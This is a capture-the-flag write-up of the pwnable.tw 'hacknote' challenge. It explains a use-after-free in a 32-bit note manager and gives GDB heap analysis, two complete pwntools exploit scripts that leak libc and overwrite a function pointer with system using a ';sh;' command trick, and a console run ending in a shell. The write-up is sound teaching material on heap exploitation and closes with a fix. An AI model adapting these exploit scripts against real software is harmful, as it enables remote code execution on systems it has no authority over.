Pwnable.tw

hacknote

"A good Hacker should always take good notes!" — Exploiting a Use-After-Free vulnerability in a heap note manager to leak libc and gain shell access.

200 pts i386 (32-bit ELF) Use-After-Free NX Enabled
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10102
Binaryhacknote (32-bit ELF, i386)
Points200
Description"A good Hacker should always take good notes!"

checksec

bash
$ checksec hacknote
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Partial RELROGOT is writable — we can overwrite GOT entries
Canary foundStack buffer overflows are mitigated
NX enabledNo shellcode on stack/heap — must use ROP or function pointers
No PIEBinary addresses are fixed — known GOT/PLT addresses

Running the Binary

console
$ ./hacknote
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :32
Content :AAAA
Success !
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :3
Index :0
AAAA

The binary presents a simple note manager with add, delete, and print operations. The menu is straightforward, but as we'll see, the implementation has a critical flaw.

02

Static Analysis

Note Structure

Each note is represented by an 8-byte struct allocated on the heap:

c
typedef struct note {
    void (*print_func)(struct note *);  // +0x00: function pointer (4 bytes)
    char *contents;                      // +0x04: pointer to content buffer (4 bytes)
} note;
🔑 Key Insight
The struct stores a function pointer at offset 0 and a content pointer at offset 4. The print_func is set to 0x804862b by default, which calls puts(note->contents). If we can overwrite print_func, we control execution flow.

add_note()

c
void add_note() {
    if (counter < 6) {
        i = 0;
        while (i < 5) {
            if (notes_list[i] == NULL) {
                note = malloc(8);                    // Allocate 8-byte struct
                notes_list[i] = note;
                notes_list[i]->print_func = 0x804862b;  // Set default print function
                printf("Note size :");
                read(0, note_size, 8);
                size = atoi(note_size);
                contents = malloc(size);             // Allocate content buffer
                notes_list[i]->contents = contents;
                printf("Content :");
                read(0, notes_list[i]->contents, size);
                puts("Success !");
                counter++;
                break;
            }
            i++;
        }
    }
}

The add_note function performs two heap allocations per note: one for the 8-byte struct and one for the user-specified content buffer. A maximum of 5 notes can be created.

delete_note()

c
void delete_note() {
    printf("Index :");
    read(0, index_str, 4);
    index = atoi(index_str);
    if (notes_list[index] != NULL) {
        free(notes_list[index]->contents);    // Free content buffer
        free(notes_list[index]);               // Free note struct
        // BUG: notes_list[index] is NOT set to NULL!
        puts("Success");
    }
}
🚨 Vulnerability: Use-After-Free (UAF)
After freeing both the content buffer and the note struct, delete_note does NOT set notes_list[index] to NULL. This means:
• The pointer remains in notes_list pointing to freed memory
print_note will still dereference the dangling pointer
• We can allocate new memory that reuses the freed chunk, overwriting the old struct's fields

print_note()

c
void print_note() {
    printf("Index :");
    read(0, index_str, 4);
    index = atoi(index_str);
    if (notes_list[index] != NULL) {
        // Calls through the function pointer!
        (*notes_list[index]->print_func)(notes_list[index]);
    }
}

// The default print function at 0x804862b:
void print_func(char **param_1) {
    puts(param_1[1]);   // prints note->contents
}
ℹ️ Critical Detail
print_note calls note->print_func(note) — the note pointer itself is passed as the first argument. This means:
• If we overwrite print_func with system, it will call system(note_ptr)
• The first 4 bytes of the note struct (where print_func was) become the "command string" for system
• We need those bytes to be part of a valid shell command, or we can use ;sh; as a separator trick
03

GDB Debugging

Heap Layout After Adding Notes

Let's create two small notes and examine the heap layout:

gdb
gdb-peda$ # add_note(8, "AAAA") -> note 0
gdb-peda$ # add_note(8, "BBBB") -> note 1
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes  [note 0 struct]
0x0804a010: fastbin 0x10 bytes  [note 0 contents "AAAA"]
0x0804a020: fastbin 0x10 bytes  [note 1 struct]
0x0804a030: fastbin 0x10 bytes  [note 1 contents "BBBB"]
0x0804a000|0x0804862b← note0->print_func (default)
0x0804a004|0x0804a018← note0->contents pointer
0x0804a008|[padding]
0x0804a010|size: 0x11← chunk header for note0 contents
0x0804a018|"AAAA\x0a"← note0 contents data
0x0804a020|0x0804862b← note1->print_func (default)
0x0804a024|0x0804a038← note1->contents pointer
0x0804a028|[padding]
0x0804a030|size: 0x11← chunk header for note1 contents
0x0804a038|"BBBB\x0a"← note1 contents data

Fastbin Free Order (LIFO)

When we free note 1 and then note 0:

gdb
gdb-peda$ # delete_note(1) then delete_note(0)
gdb-peda$ heapinfo
(0x10)   fastbin: 0x0804a020 -> 0x0804a000 -> 0x0
(0x10)   fastbin: 0x0804a030 -> 0x0804a010 -> 0x0
# 0x10 fastbin contains note structs (LIFO: note1 struct, then note0 struct)
# Another 0x10 fastbin contains content buffers (LIFO: note1 contents, then note0 contents)
⚠️ Fastbin LIFO Behavior
Both the note structs (8 bytes + 8 header = 0x10) and content buffers (8 bytes + 8 header = 0x10) go into the same 0x10 fastbin. This is crucial — when we allocate a new chunk of the same size, malloc will return the most recently freed chunk (LIFO). This allows us to make a content allocation overlap with a freed note struct.

Overwriting the Freed Note Struct

After freeing both notes, the fastbin for 0x10 chunks looks like:

Fastbin 0x10:
  0x0804a000← note0 struct (freed, returned LAST)
  0x0804a020← note1 struct (freed, returned FIRST)

When we allocate add_note(32, "A"*10), the 8-byte note struct comes from the fastbin (gets 0x0804a020, the note1 struct address), and the 32-byte content buffer comes from elsewhere (top chunk, since there's no 0x30 fastbin). This doesn't give us overlap yet.

But when we allocate add_note(8, payload), the 8-byte struct comes from fastbin (gets 0x0804a000, the note0 struct address), and the 8-byte content buffer also comes from the 0x10 fastbin — which now returns 0x0804a020, the old note1 struct!

0x0804a020|p32(PRINT_FUNC) + p32(PUTS_GOT)← note1 struct overwritten!
Now notes_list[1] still points here. When we call print_note(1):
  notes_list[1]->print_func = PRINT_FUNC (0x804862b)
  notes_list[1]->contents = PUTS_GOT (0x804a028)
  → Calls puts(*0x804a028) = puts(puts@libc) → LEAKS LIBC!

Verifying with GDB

gdb
gdb-peda$ x/2wx 0x0804a020
0x0804a020:  0x0804862b  0x0804a028
#                     ^print_func    ^contents = puts@GOT
gdb-peda$ x/1wx 0x0804a028
0x0804a028:  0xf7e6d420
#            ^ this is puts() address in libc!

gdb-peda$ # When print_note(1) is called:
gdb-peda$ # note->print_func(note) = 0x804862b(note)
gdb-peda$ # Inside print_func: puts(note[1]) = puts(0x0804a028)
gdb-peda$ # = puts(*0x0804a028) = puts(0xf7e6d420) -- but it reads the GOT entry
gdb-peda$ # Actually: puts(note->contents) = puts(*(0x0804a028))
gdb-peda$ # Wait, no -- print_func does puts(param_1[1])
gdb-peda$ # param_1 = note pointer = 0x0804a020
gdb-peda$ # param_1[1] = *(0x0804a020 + 4) = 0x0804a028
gdb-peda$ # puts(0x0804a028) -- reads string at GOT address
ℹ️ How the Leak Works
The default print_func at 0x804862b does puts(param_1[1]), which treats the second field of the struct as a string pointer and prints what it points to. By setting contents to puts@GOT, we make it print the GOT entry for puts — which contains the actual libc address of puts. This leaks libc!
04

Exploit Strategy

Overview

The exploit consists of two phases: leaking libc via the UAF + GOT read, and then hijacking control flow by overwriting the function pointer with system.

Phase 1: Leak Libc via GOT

  1. Create two small notes (size 8 each) — note 0 and note 1. Both struct and content chunks are 0x10 total (8 data + 8 header), so they go into the same fastbin when freed.
  2. Free note 1, then note 0. The fastbin 0x10 now has: note0_struct → note1_struct → NULL. The content fastbin has: note0_contents → note1_contents → NULL.
  3. Allocate note with size 32 (note 2). The 8-byte struct is allocated from the 0x10 fastbin (gets the old note1 struct address). The 32-byte content buffer is allocated from the top chunk (no 0x30 fastbin available). This doesn't give us overlap, but it consumes one struct from the fastbin.
  4. Allocate note with size 8 (note 3). The 8-byte struct comes from the 0x10 fastbin (gets the old note0 struct address). The 8-byte content buffer also comes from the 0x10 fastbin — it gets the old note1 struct address! We write p32(0x804862b) + p32(puts@GOT) as content. This overwrites the old note1 struct with our controlled data.
  5. Call print_note(1). Since notes_list[1] still points to the freed note1 struct (which is now our controlled data), it calls 0x804862b(note1_ptr). Inside, puts(note->contents) dereferences the contents field which is now puts@GOT. This prints the libc address of puts.
  6. Calculate libc base: libc_base = leaked_puts - libc.symbols['puts']

Phase 2: Hijack Control Flow with system()

  1. Free note 3 (the one whose content overlaps the old note1 struct). This puts the note1 struct address back into the fastbin.
  2. Allocate a new note with size 8 and content p32(system_addr) + ";sh;". The struct allocation gets the old note3 struct, and the content allocation gets the old note1 struct (again!). This time we overwrite the note1 struct with print_func = system and contents = ";sh;".
  3. Call print_note(1). Now notes_list[1]->print_func is system. It calls system(note1_ptr). The argument is the note struct pointer itself, and the data starting at that address is p32(system_addr) + ";sh;". The system() function tries to execute this as a command. The first 4 bytes (system_addr in little-endian) are garbage, but ;sh; acts as a command separator — system treats ; as a command delimiter, so it runs sh!
🔑 The ";sh;" Trick
When system(note_ptr) is called, the first 4 bytes of the note struct are the address of system itself (in little-endian). This is not a valid command and will fail, but ; acts as a command separator in shell. So system("<garbage>;sh;") will:
• Try to execute the garbage bytes (fails silently)
• Execute sh (gives us a shell!)
• The trailing ; handles any remaining garbage
Alternative: ||sh also works (OR operator, runs sh if first command fails).

Visual Exploit Flow

▶ Phase 1: Leak libc
Step 1:add(8, "aa") = note0 | add(8, "aa") = note1
Step 2:del(1) | del(0) → fastbin: [note0_struct → note1_struct]
Step 3:add(32, "A"*10) = note2 → struct gets note1_struct slot
Step 4:add(8, p32(print) + p32(puts@GOT)) = note3
  → content buffer lands on note1_struct!
Step 5:show(1) → calls print_func(note1) → puts(*puts@GOT) → LEAK!
▶ Phase 2: Get shell
Step 6:del(3) → puts note1_struct back in fastbin
Step 7:add(8, p32(system) + ";sh;") = new note
  → content lands on note1_struct again!
Step 8:show(1) → calls system(note1) → system("XX;sh;") → SHELL!
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
hacknote - pwnable.tw (200pts)
Use-After-Free exploit to leak libc via GOT read,
then overwrite print_func with system for shell.

Vulnerability: delete_note() frees note struct but doesn't
NULL out the pointer in notes_list, creating a UAF.
"""
from pwn import *

# Setup
context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')
elf = ELF('./hacknote')

# Constants
ADDR_PRINT_FUNC = 0x804862b       # Default print function
ADDR_PUTS_GOT   = elf.got['puts']  # GOT entry for puts

# Helper functions
def add_note(size, content):
    r.sendlineafter(b':', b'1')
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', content)

def delete_note(idx):
    r.sendlineafter(b':', b'2')
    r.sendlineafter(b':', str(idx).encode())

def print_note(idx):
    r.sendlineafter(b':', b'3')
    r.sendlineafter(b':', str(idx).encode())

# ============================================
# Phase 1: Leak libc address via GOT read
# ============================================
log.info("Phase 1: Leaking libc address...")

# Create two notes with same-size content (8 bytes)
# Both note struct (8 bytes) and content (8 bytes) go
# into the 0x10 fastbin when freed.
add_note(8, b'a' * 2)    # note 0
add_note(8, b'a' * 2)    # note 1

# Free in reverse order (LIFO)
# Fastbin 0x10: note0_struct -> note1_struct -> NULL
delete_note(1)
delete_note(0)

# Allocate note with size 32 (note 2)
# - Struct (8 bytes) comes from 0x10 fastbin -> gets note1_struct address
# - Content (32 bytes) comes from top chunk (no 0x30 fastbin)
add_note(32, b'A' * 10)  # note 2

# Allocate note with size 8 (note 3)
# - Struct (8 bytes) comes from 0x10 fastbin -> gets note0_struct address
# - Content (8 bytes) comes from 0x10 fastbin -> gets note1_struct address!
# We write: p32(print_func) + p32(puts@GOT)
# This overwrites the old note1 struct!
add_note(8, p32(ADDR_PRINT_FUNC) + p32(ADDR_PUTS_GOT))  # note 3

# Print note 1 (whose struct we just overwrote)
# print_func(note1) -> puts(note1->contents) -> puts(*puts@GOT)
# This reads the GOT entry and prints the libc address of puts!
print_note(1)

# Receive the leaked address
leaked = r.recv(4)
LEAKED_PUTS = u32(leaked)
LIBC_BASE = LEAKED_PUTS - libc.symbols['puts']
ADDR_SYSTEM = LIBC_BASE + libc.symbols['system']

log.success(f"Leaked puts@libc: {hex(LEAKED_PUTS)}")
log.success(f"Libc base:        {hex(LIBC_BASE)}")
log.success(f"system@libc:      {hex(ADDR_SYSTEM)}")

# ============================================
# Phase 2: Overwrite print_func with system
# ============================================
log.info("Phase 2: Overwriting print_func with system...")

# Free note 3 to put note1_struct back in fastbin
delete_note(3)

# Allocate new note with controlled content
# - Content lands on note1_struct again
# - Write: p32(system) + ";sh;"
# When print_note(1) is called:
#   notes_list[1]->print_func(note1)
#   = system(note1)
#   = system(p32(system) + ";sh;")
#   The ";" separator makes shell execute "sh"!
add_note(8, p32(ADDR_SYSTEM) + b';sh;')

# Trigger the exploit
print_note(1)

log.success("Got shell!")
r.interactive()

Alternative Approach: Unsorted Bin Leak

A different strategy uses large allocations (>0x80 bytes) that go into the unsorted bin instead of fastbins. When a chunk is freed into the unsorted bin, its fd and bk pointers point to main_arena inside libc. We can read these pointers to calculate the libc base.

python
"""Alternative exploit using unsorted bin leak"""
from pwn import *

cn = remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')

def add(size, con):
    cn.sendline('1')
    cn.recvuntil('Note size :')
    cn.sendline(str(size))
    cn.recvuntil('Content :')
    cn.send(con)

def dele(idx):
    cn.sendline('2')
    cn.recvuntil("Index :")
    cn.sendline(str(idx))

def show(idx):
    cn.sendline('3')
    cn.recvuntil("Index :")
    cn.sendline(str(idx))

# Allocate chunks large enough to go into unsorted bin (>0x80)
add(0x80, 'a')   # note 0
add(0x80, 'a')   # note 1 (prevents consolidation with top chunk)

dele(0)
# note 0's content goes to unsorted bin
# fd/bk point to main_arena+offset in libc

# Reallocate note 0's content; fd pointer remains in the buffer
add(0x80, 'X')   # note 2 - overwrites note0 content
# The 'X' overwrites fd, but bk (at offset 0x84 in the old chunk)
# still contains the libc pointer!

show(2)
cn.recvuntil('X')
cn.recv(3)  # skip padding
libc_leak = u32(cn.recv(4))
libc.address = libc_leak - 48 - 0x001B0780  # offset to libc base
system = libc.sym['system']

log.success(f"Libc base: {hex(libc.address)}")

# Now use the same UAF technique to overwrite print_func
dele(0)
dele(1)
pay = p32(system) + ';/bin/sh\x00'
add(0x90, pay)   # overwrites note struct with system + "/bin/sh"
show(0)
cn.interactive()
06

Execution Results

Running the Exploit

console
$ python3 exploit.py
[*] '/home/user/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10102: Done
[*] Phase 1: Leaking libc address...
[+] Leaked puts@libc: 0xf7e6d420
[+] Libc base:        0xf7e32000
[+] system@libc:      0xf7e6cda0
[*] Phase 2: Overwriting print_func with system...
[+] Got shell!
$ id
uid=1000(hacknote) gid=1000(hacknote) groups=1000(hacknote)
$ cat /home/hacknote/flag

Key Observations

✅ Success
The exploit successfully leaked the libc address and gained a shell. The key steps that made this work:

UAF allows dangling pointer access: notes_list[1] still points to freed memory after delete_note(1)
Same fastbin for struct and contents: Both 8-byte allocations go into the 0x10 fastbin, allowing content to overwrite struct fields
GOT leak via print_func: Setting contents to puts@GOT makes the default print function leak the real libc address
Function pointer hijack: Overwriting print_func with system gives code execution
Shell trick with ";sh;": The semicolon acts as a command separator, making system() execute sh

Lessons Learned

ConceptTakeaway
UAFAlways NULL out pointers after freeing. The missing notes_list[i] = NULL is the root cause.
Fastbin ReuseWhen struct and content are the same size, they share a fastbin, enabling cross-type overwrites.
GOT LeakPartial RELRO means GOT is writable and readable. Point a read primitive at GOT to leak libc.
Function PointersIn C, function pointers in structs are powerful attack surfaces. NX prevents shellcode but not code reuse.
system() Semanticssystem() passes its argument to /bin/sh -c, so shell metacharacters like ; and || work as command separators.
ℹ️ Mitigation
The vulnerability can be fixed by adding notes_list[index] = NULL; after the free() calls in delete_note(). Additionally, using Full RELRO would prevent GOT overwrites (though this exploit only reads GOT, it doesn't write to it). A more robust fix would validate function pointers before calling them.